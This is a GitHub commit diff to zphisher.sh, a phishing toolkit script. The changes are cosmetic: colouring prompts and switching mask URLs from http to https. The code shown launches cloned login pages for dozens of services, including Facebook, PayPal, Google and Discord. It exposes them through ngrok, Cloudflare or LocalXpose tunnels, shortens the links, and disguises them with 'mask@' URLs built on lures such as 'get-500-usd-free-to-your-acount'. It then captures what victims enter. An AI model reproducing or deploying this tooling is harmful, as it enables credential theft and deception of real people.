Skip to content

Commit da005ce

Browse files
committed
Visual Tweaking
1 parent 28cfe68 commit da005ce

File tree

1 file changed

+56
-68
lines changed

1 file changed

+56
-68
lines changed

zphisher.sh

Lines changed: 56 additions & 68 deletions
Original file line numberDiff line numberDiff line change
@@ -412,7 +412,7 @@ cusport() {
412412
echo
413413
else
414414
echo -ne "\n\n${RED}[${WHITE}!${RED}]${RED} Invalid 4-digit Port : $CU_P, Try Again...${WHITE}"
415-
{ sleep 2; clear; banner; cusport; }
415+
{ sleep 2; clear; banner_small; cusport; }
416416
fi
417417
else
418418
echo -ne "\n\n${RED}[${WHITE}-${RED}]${BLUE} Using Default Port $PORT...${WHITE}\n"
@@ -488,11 +488,6 @@ start_ngrok() {
488488
ngrok_url=$(curl -s -N http://127.0.0.1:4040/api/tunnels | grep -Eo '(https)://[^/"]+(.ngrok.io)')
489489
custom_url "$ngrok_url"
490490
capture_data
491-
492-
# ngrok_url1=${ngrok_url#https://}
493-
# echo -e "\n${RED}[${WHITE}-${RED}]${BLUE} URL 1 : ${GREEN}$ngrok_url"
494-
# echo -e "\n${RED}[${WHITE}-${RED}]${BLUE} URL 2 : ${GREEN}$mask@$ngrok_url1"
495-
# capture_data
496491
}
497492

498493
## Start Cloudflared
@@ -513,11 +508,6 @@ start_cloudflared() {
513508
cldflr_url=$(grep -o 'https://[-0-9a-z]*\.trycloudflare.com' ".server/.cld.log")
514509
custom_url "$cldflr_url"
515510
capture_data
516-
517-
# cldflr_link1=${cldflr_link#https://}
518-
# echo -e "\n${RED}[${WHITE}-${RED}]${BLUE} URL 1 : ${GREEN}$cldflr_link"
519-
# echo -e "\n${RED}[${WHITE}-${RED}]${BLUE} URL 2 : ${GREEN}$mask@$cldflr_link1"
520-
# capture_data
521511
}
522512

523513
localxpose_auth() {
@@ -543,7 +533,7 @@ start_loclx() {
543533
echo -e "\n${RED}[${WHITE}-${RED}]${GREEN} Initializing... ${GREEN}( ${CYAN}http://$HOST:$PORT ${GREEN})"
544534
{ sleep 1; setup_site; localxpose_auth; }
545535
echo -e "\n"
546-
read -n1 -p "${RED}[${WHITE}-${RED}]${ORANGE} Change Loclx Server Region? ${GREEN}[${CYAN}y${GREEN}/${CYAN}N${GREEN}]:${ORANGE} " opinion
536+
read -n1 -p "${RED}[${WHITE}?${RED}]${ORANGE} Change Loclx Server Region? ${GREEN}[${CYAN}y${GREEN}/${CYAN}N${GREEN}]:${ORANGE} " opinion
547537
[[ ${opinion,,} == "y" ]] && loclx_region="eu" || loclx_region="us"
548538
echo -e "\n\n${RED}[${WHITE}-${RED}]${GREEN} Launching LocalXpose..."
549539

@@ -557,10 +547,6 @@ start_loclx() {
557547
loclx_url=$(cat .server/.loclx | grep -o '[0-9a-zA-Z.]*.loclx.io')
558548
custom_url "$loclx_url"
559549
capture_data
560-
561-
# echo -e "\n${RED}[${WHITE}-${RED}]${BLUE} URL 1 : ${GREEN}http://$loclx_url"
562-
# echo -e "\n${RED}[${WHITE}-${RED}]${BLUE} URL 2 : ${GREEN}$mask@$loclx_url"
563-
# capture_data
564550
}
565551

566552
## Start localhost
@@ -604,17 +590,17 @@ tunnel_menu() {
604590

605591
## Custom Mask URL
606592
custom_mask() {
607-
echo
608-
read -n1 -p "Do you want to change Mask URL? [y/N] : " mask_op
593+
{ sleep .5; clear; banner_small; echo; }
594+
read -n1 -p "${RED}[${WHITE}?${RED}]${ORANGE} Do you want to change Mask URL? ${GREEN}[${CYAN}y${GREEN}/${CYAN}N${GREEN}] :${ORANGE} " mask_op
609595
echo
610596
if [[ ${mask_op,,} == "y" ]]; then
611-
echo -e "\nEnter Your custom url below (example: https://get-free-followers.com)\n"
612-
read -e -p "=> " -i "https://" mask_url # initial text requires Bash 4+
597+
echo -e "\n${RED}[${WHITE}-${RED}]${GREEN} Enter your custom URL below ${CYAN}(${ORANGE}Example: https://get-free-followers.com${CYAN})\n"
598+
read -e -p "${WHITE} ==> ${ORANGE}" -i "https://" mask_url # initial text requires Bash 4+
613599
if [[ ${mask_url//:*} =~ (www|https?) ]]; then # Someone fix this. Exclude (;,:!#$%^& etc). I suck at regex
614600
mask=$mask_url
615-
echo -e "\nUsing custom Masked Url : $mask"
601+
echo -e "\n${RED}[${WHITE}-${RED}]${CYAN} Using custom Masked Url :${GREEN} $mask"
616602
else
617-
echo -e "\nInvalid url type..Using the Default one.."
603+
echo -e "\n${RED}[${WHITE}!${RED}]${ORANGE} Invalid url type..Using the Default one.."
618604
fi
619605
fi
620606
}
@@ -638,6 +624,7 @@ custom_url() {
638624
shortcode="https://api.shrtco.de/v2/shorten?url="
639625
tinyurl="https://tinyurl.com/api-create.php?url="
640626

627+
{ custom_mask; sleep 1; clear; banner_small; }
641628
if [[ ${url} =~ [-a-zA-Z0-9.]*(ngrok.io|trycloudflare.com|loclx.io) ]]; then
642629
if [[ $(site_stat $isgd) == 2* ]]; then
643630
shorten $isgd "$url"
@@ -647,7 +634,6 @@ custom_url() {
647634
shorten $tinyurl "$url"
648635
fi
649636

650-
{ custom_mask; sleep 1; clear; banner_small; }
651637
url="https://$url"
652638
masked_url="$mask@$processed_url"
653639
processed_url="https://$processed_url"
@@ -656,8 +642,10 @@ custom_url() {
656642
url="Unable to generate links. Try after turning on hotspot"
657643
processed_url="Unable to Short URL"
658644
fi
659-
echo -e "\nUrl 1: $url\nUrl 2: $processed_url"
660-
[[ $processed_url != *"Unable"* ]] && echo "Url 3: $masked_url"
645+
646+
echo -e "\n${RED}[${WHITE}-${RED}]${BLUE} URL 1 : ${GREEN}$url"
647+
echo -e "\n${RED}[${WHITE}-${RED}]${BLUE} URL 2 : ${ORANGE}$processed_url"
648+
[[ $processed_url != *"Unable"* ]] && echo -e "\n${RED}[${WHITE}-${RED}]${BLUE} URL 3 : ${ORANGE}$masked_url"
661649
}
662650

663651
## Facebook
@@ -676,19 +664,19 @@ site_facebook() {
676664
case $REPLY in
677665
1 | 01)
678666
website="facebook"
679-
mask='http://blue-verified-badge-for-facebook-free'
667+
mask='https://blue-verified-badge-for-facebook-free'
680668
tunnel_menu;;
681669
2 | 02)
682670
website="fb_advanced"
683-
mask='http://vote-for-the-best-social-media'
671+
mask='https://vote-for-the-best-social-media'
684672
tunnel_menu;;
685673
3 | 03)
686674
website="fb_security"
687-
mask='http://make-your-facebook-secured-and-free-from-hackers'
675+
mask='https://make-your-facebook-secured-and-free-from-hackers'
688676
tunnel_menu;;
689677
4 | 04)
690678
website="fb_messenger"
691-
mask='http://get-messenger-premium-features-free'
679+
mask='https://get-messenger-premium-features-free'
692680
tunnel_menu;;
693681
*)
694682
echo -ne "\n${RED}[${WHITE}!${RED}]${RED} Invalid Option, Try Again..."
@@ -712,19 +700,19 @@ site_instagram() {
712700
case $REPLY in
713701
1 | 01)
714702
website="instagram"
715-
mask='http://get-unlimited-followers-for-instagram'
703+
mask='https://get-unlimited-followers-for-instagram'
716704
tunnel_menu;;
717705
2 | 02)
718706
website="ig_followers"
719-
mask='http://get-unlimited-followers-for-instagram'
707+
mask='https://get-unlimited-followers-for-instagram'
720708
tunnel_menu;;
721709
3 | 03)
722710
website="insta_followers"
723-
mask='http://get-1000-followers-for-instagram'
711+
mask='https://get-1000-followers-for-instagram'
724712
tunnel_menu;;
725713
4 | 04)
726714
website="ig_verify"
727-
mask='http://blue-badge-verify-for-instagram-free'
715+
mask='https://blue-badge-verify-for-instagram-free'
728716
tunnel_menu;;
729717
*)
730718
echo -ne "\n${RED}[${WHITE}!${RED}]${RED} Invalid Option, Try Again..."
@@ -747,15 +735,15 @@ site_gmail() {
747735
case $REPLY in
748736
1 | 01)
749737
website="google"
750-
mask='http://get-unlimited-google-drive-free'
738+
mask='https://get-unlimited-google-drive-free'
751739
tunnel_menu;;
752740
2 | 02)
753741
website="google_new"
754-
mask='http://get-unlimited-google-drive-free'
742+
mask='https://get-unlimited-google-drive-free'
755743
tunnel_menu;;
756744
3 | 03)
757745
website="google_poll"
758-
mask='http://vote-for-the-best-social-media'
746+
mask='https://vote-for-the-best-social-media'
759747
tunnel_menu;;
760748
*)
761749
echo -ne "\n${RED}[${WHITE}!${RED}]${RED} Invalid Option, Try Again..."
@@ -777,11 +765,11 @@ site_vk() {
777765
case $REPLY in
778766
1 | 01)
779767
website="vk"
780-
mask='http://vk-premium-real-method-2020'
768+
mask='https://vk-premium-real-method-2020'
781769
tunnel_menu;;
782770
2 | 02)
783771
website="vk_poll"
784-
mask='http://vote-for-the-best-social-media'
772+
mask='https://vote-for-the-best-social-media'
785773
tunnel_menu;;
786774
*)
787775
echo -ne "\n${RED}[${WHITE}!${RED}]${RED} Invalid Option, Try Again..."
@@ -823,125 +811,125 @@ main_menu() {
823811
site_gmail;;
824812
4 | 04)
825813
website="microsoft"
826-
mask='http://unlimited-onedrive-space-for-free'
814+
mask='https://unlimited-onedrive-space-for-free'
827815
tunnel_menu;;
828816
5 | 05)
829817
website="netflix"
830-
mask='http://upgrade-your-netflix-plan-free'
818+
mask='https://upgrade-your-netflix-plan-free'
831819
tunnel_menu;;
832820
6 | 06)
833821
website="paypal"
834-
mask='http://get-500-usd-free-to-your-acount'
822+
mask='https://get-500-usd-free-to-your-acount'
835823
tunnel_menu;;
836824
7 | 07)
837825
website="steam"
838-
mask='http://steam-500-usd-gift-card-free'
826+
mask='https://steam-500-usd-gift-card-free'
839827
tunnel_menu;;
840828
8 | 08)
841829
website="twitter"
842-
mask='http://get-blue-badge-on-twitter-free'
830+
mask='https://get-blue-badge-on-twitter-free'
843831
tunnel_menu;;
844832
9 | 09)
845833
website="playstation"
846-
mask='http://playstation-500-usd-gift-card-free'
834+
mask='https://playstation-500-usd-gift-card-free'
847835
tunnel_menu;;
848836
10)
849837
website="tiktok"
850-
mask='http://tiktok-free-liker'
838+
mask='https://tiktok-free-liker'
851839
tunnel_menu;;
852840
11)
853841
website="twitch"
854-
mask='http://unlimited-twitch-tv-user-for-free'
842+
mask='https://unlimited-twitch-tv-user-for-free'
855843
tunnel_menu;;
856844
12)
857845
website="pinterest"
858-
mask='http://get-a-premium-plan-for-pinterest-free'
846+
mask='https://get-a-premium-plan-for-pinterest-free'
859847
tunnel_menu;;
860848
13)
861849
website="snapchat"
862-
mask='http://view-locked-snapchat-accounts-secretly'
850+
mask='https://view-locked-snapchat-accounts-secretly'
863851
tunnel_menu;;
864852
14)
865853
website="linkedin"
866-
mask='http://get-a-premium-plan-for-linkedin-free'
854+
mask='https://get-a-premium-plan-for-linkedin-free'
867855
tunnel_menu;;
868856
15)
869857
website="ebay"
870-
mask='http://get-500-usd-free-to-your-acount'
858+
mask='https://get-500-usd-free-to-your-acount'
871859
tunnel_menu;;
872860
16)
873861
website="quora"
874-
mask='http://quora-premium-for-free'
862+
mask='https://quora-premium-for-free'
875863
tunnel_menu;;
876864
17)
877865
website="protonmail"
878-
mask='http://protonmail-pro-basics-for-free'
866+
mask='https://protonmail-pro-basics-for-free'
879867
tunnel_menu;;
880868
18)
881869
website="spotify"
882-
mask='http://convert-your-account-to-spotify-premium'
870+
mask='https://convert-your-account-to-spotify-premium'
883871
tunnel_menu;;
884872
19)
885873
website="reddit"
886-
mask='http://reddit-official-verified-member-badge'
874+
mask='https://reddit-official-verified-member-badge'
887875
tunnel_menu;;
888876
20)
889877
website="adobe"
890-
mask='http://get-adobe-lifetime-pro-membership-free'
878+
mask='https://get-adobe-lifetime-pro-membership-free'
891879
tunnel_menu;;
892880
21)
893881
website="deviantart"
894-
mask='http://get-500-usd-free-to-your-acount'
882+
mask='https://get-500-usd-free-to-your-acount'
895883
tunnel_menu;;
896884
22)
897885
website="badoo"
898-
mask='http://get-500-usd-free-to-your-acount'
886+
mask='https://get-500-usd-free-to-your-acount'
899887
tunnel_menu;;
900888
23)
901889
website="origin"
902-
mask='http://get-500-usd-free-to-your-acount'
890+
mask='https://get-500-usd-free-to-your-acount'
903891
tunnel_menu;;
904892
24)
905893
website="dropbox"
906-
mask='http://get-1TB-cloud-storage-free'
894+
mask='https://get-1TB-cloud-storage-free'
907895
tunnel_menu;;
908896
25)
909897
website="yahoo"
910-
mask='http://grab-mail-from-anyother-yahoo-account-free'
898+
mask='https://grab-mail-from-anyother-yahoo-account-free'
911899
tunnel_menu;;
912900
26)
913901
website="wordpress"
914-
mask='http://unlimited-wordpress-traffic-free'
902+
mask='https://unlimited-wordpress-traffic-free'
915903
tunnel_menu;;
916904
27)
917905
website="yandex"
918-
mask='http://grab-mail-from-anyother-yandex-account-free'
906+
mask='https://grab-mail-from-anyother-yandex-account-free'
919907
tunnel_menu;;
920908
28)
921909
website="stackoverflow"
922-
mask='http://get-stackoverflow-lifetime-pro-membership-free'
910+
mask='https://get-stackoverflow-lifetime-pro-membership-free'
923911
tunnel_menu;;
924912
29)
925913
site_vk;;
926914
30)
927915
website="xbox"
928-
mask='http://get-500-usd-free-to-your-acount'
916+
mask='https://get-500-usd-free-to-your-acount'
929917
tunnel_menu;;
930918
31)
931919
website="mediafire"
932-
mask='http://get-1TB-on-mediafire-free'
920+
mask='https://get-1TB-on-mediafire-free'
933921
tunnel_menu;;
934922
32)
935923
website="gitlab"
936-
mask='http://get-1k-followers-on-gitlab-free'
924+
mask='https://get-1k-followers-on-gitlab-free'
937925
tunnel_menu;;
938926
33)
939927
website="github"
940-
mask='http://get-1k-followers-on-github-free'
928+
mask='https://get-1k-followers-on-github-free'
941929
tunnel_menu;;
942930
34)
943931
website="discord"
944-
mask='http://get-discord-nitro-free'
932+
mask='https://get-discord-nitro-free'
945933
tunnel_menu;;
946934
99)
947935
about;;

0 commit comments

Comments
 (0)